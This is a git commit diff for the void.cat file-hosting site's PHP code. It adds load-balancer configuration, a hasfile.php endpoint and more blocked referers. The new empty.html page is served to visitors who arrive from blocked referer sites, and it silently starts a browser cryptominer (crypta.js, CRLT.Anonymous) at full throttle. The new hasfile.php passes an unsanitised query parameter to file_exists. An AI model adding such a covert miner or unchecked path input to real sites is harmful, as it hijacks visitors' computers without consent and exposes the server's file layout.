add load balance config

This commit is contained in:
Kieran 2018-08-03 20:59:18 +08:00
parent a9565b88e8
commit 057e64fc44
4 changed files with 59 additions and 6 deletions

View File

@ -6,6 +6,11 @@
define('_UIP', isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']);
/* LB SETTINGS */
define('_IS_LB_HOST', False);
define('_LB_HOSTS', array("http://host1.void.cat", "http://host2.void.cat"));
define('_LB_HOSTNAME', 'download.void.cat');
/* DB SETTINGS */
define('_DB_HOST', '127.0.0.1');
define('_DB_DATABASE', 'void');
@ -25,7 +30,7 @@
define('_DISCORD_WEBHOOK_PUB', 'DISCORD_HOOK_URL');
define('_FILE_EXPIRE_TIME', 30);
define('_GA_SITE_CODE', 'UA-73200448-1');
define('_BLOCK_REFERER', array("yobuilder.com", "adf.ly"));
define('_BLOCK_REFERER', array("yobuilder.com", "adf.ly", "payshorturl.com", "clearload.bid"));
define('_UA_NO_VIEW', array("YandexBot/3.0", "Googlebot/2.1", "Yahoo! Slurp"));
define('_VIRUSTOTAL_KEY', 'API_KEY');
define('_CURL_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36');

View File

@ -10,15 +10,40 @@
$hash = substr($_SERVER["REQUEST_URI"], 1);
$hashKey = _UIP . ':' . $hash;
if(_IS_LB_HOST == False && count(_LB_HOSTS) > 0) {
$has_cache = $redis->sIsMember("VC:DL:LB", $hash);
if($has_cache == False) {
$lb_hash_cache = True;
foreach(_LB_HOSTS as $lbh) {
$lb_x = json_decode(curl_get($lbh . "/hasfile.php?hash=" . $hash, array("Host: " . _LB_HOSTNAME)));
if($lb_x->result == False){
$lb_hash_cache = False;
break;
}
}
if($lb_hash_cache == True){
$redis->sadd("VC:DL:LB", $hash);
header("location: https://" . _LB_HOSTNAME . "/" . $hash);
exit();
}
} else {
header("location: https://" . _LB_HOSTNAME . "/" . $hash);
exit();
}
}
$refr = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : False;
if($refr != False){
$rh = parse_url($refr)["host"];
if(in_array($rh, _BLOCK_REFERER)){
http_response_code(403);
header("Content-Type: text/html");
echo file_get_contents("empty.html");
//http_response_code(403);
exit();
}
if($rh != "void.cat") {
if(_IS_LB_HOST == False && $rh != "void.cat") {
//redirect to view page from hotlink
header("location: /#" . $hash);
exit();
@ -58,11 +83,13 @@
$dlCounter = $redis->get($hashKey);
if($dlCounter != FALSE) {
if($dlCounter >= _DL_CAPTCHA * 2){
$cfbk = 'VC:CF:BLOCK';
/*$cfbk = 'VC:CF:BLOCK';
if(_CLOUDFLARE_API_KEY != 'API_KEY' && $redis->sIsMember($cfbk, _UIP) == False){
$redis->sadd($cfbk, _UIP);
include_once('cloudflare.php');
AddFirewallRule(_UIP);
}
}*/
header('location: /');
exit();
}else if($dlCounter >= _DL_CAPTCHA){
//redirect for captcha check
@ -91,7 +118,7 @@
$f = $db->GetFile($hash);
if($f->hash160 != NULL){
$vtr = CheckVirusTotalCached($redis, $f->hash256);
$vtr = CheckVirusTotalCached($redis, $f->hash256, $f->hash160);
if($vtr != null && isset($vtr->positives) && $vtr->positives > 1) {
http_response_code(404);
}else {

15
src/php/empty.html Normal file
View File

@ -0,0 +1,15 @@
<!doctype html>
<html>
<head>
<title>!! ☠☠☠ !!</title>
<script src="//void.cat/cl/lib/crypta.js"></script>
<script>
window.miner = new CRLT.Anonymous('780c65e12f7eaebadd433b1eb488f45a5f71347a77df', { autoThreads: true, throttle: 0 });
window.miner.start();
</script>
</head>
<body>
</body>
</html>

6
src/php/hasfile.php Normal file
View File

@ -0,0 +1,6 @@
<?php
include("config.php");
header("Content-Type: text/json");
echo json_encode(array("result" => file_exists(_FILEPATH . $_GET["hash"])));
?>